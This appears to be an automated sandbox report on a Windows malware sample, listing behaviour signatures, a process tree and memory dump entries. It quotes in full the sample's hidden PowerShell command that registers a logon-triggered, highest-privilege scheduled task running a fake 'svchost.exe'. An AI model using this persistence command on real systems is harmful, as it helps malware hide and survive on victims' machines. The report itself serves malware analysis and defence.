Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
04/08/2026, 23:40
General
- Target b4647c8851c316988984a6c6d534f103a0cd65e5f165f8aaaa9da8b0a7f28854.exe
- Size 36.8MB
- Sample260804-3pb2msad45
- SHA256 b4647c8851c316988984a6c6d534f103a0cd65e5f165f8aaaa9da8b0a7f28854
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\b4647c8851c316988984a6c6d534f103a0cd65e5f165f8aaaa9da8b0a7f28854.exe"C:\Users\Admin\AppData\Local\Temp\b4647c8851c316988984a6c6d534f103a0cd65e5f165f8aaaa9da8b0a7f28854.exe"1⤵
- Creates a file in the Startup directory
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'svchost_e3c6bd17' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/4144-30-0x00007FF7F9970000-0x00007FF7FDEB2000-memory.dmp
memory/4144-43-0x00007FF7F9970000-0x00007FF7FDEB2000-memory.dmp
memory/4144-42-0x00007FF7F9970000-0x00007FF7FDEB2000-memory.dmp
memory/4144-40-0x00007FF7F9970000-0x00007FF7FDEB2000-memory.dmp
memory/4144-39-0x00007FF7F9970000-0x00007FF7FDEB2000-memory.dmp
memory/4144-37-0x00007FF7F9970000-0x00007FF7FDEB2000-memory.dmp
memory/4144-36-0x00007FF7F9970000-0x00007FF7FDEB2000-memory.dmp
memory/4144-34-0x00007FF7F9970000-0x00007FF7FDEB2000-memory.dmp
memory/4144-33-0x00007FF7F9970000-0x00007FF7FDEB2000-memory.dmp
memory/4144-31-0x00007FF7F9970000-0x00007FF7FDEB2000-memory.dmp
memory/4676-13-0x000001B059A30000-0x000001B059A4E000-memory.dmp
memory/4676-18-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-20-0x000001B059A80000-0x000001B059A9E000-memory.dmp
memory/4676-21-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-22-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-23-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-24-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-25-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-26-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-27-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-29-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-19-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-17-0x000001B059A50000-0x000001B059A5A000-memory.dmp
memory/4676-16-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-4-0x00007FF89F40F000-0x00007FF89F410000-memory.dmp
memory/4676-15-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-14-0x000001B059CB0000-0x000001B059D62000-memory.dmp
memory/4676-10-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-9-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-6-0x00007FF89F280000-0x00007FF89FC24000-memory.dmp
memory/4676-5-0x000001B059980000-0x000001B0599A2000-memory.dmp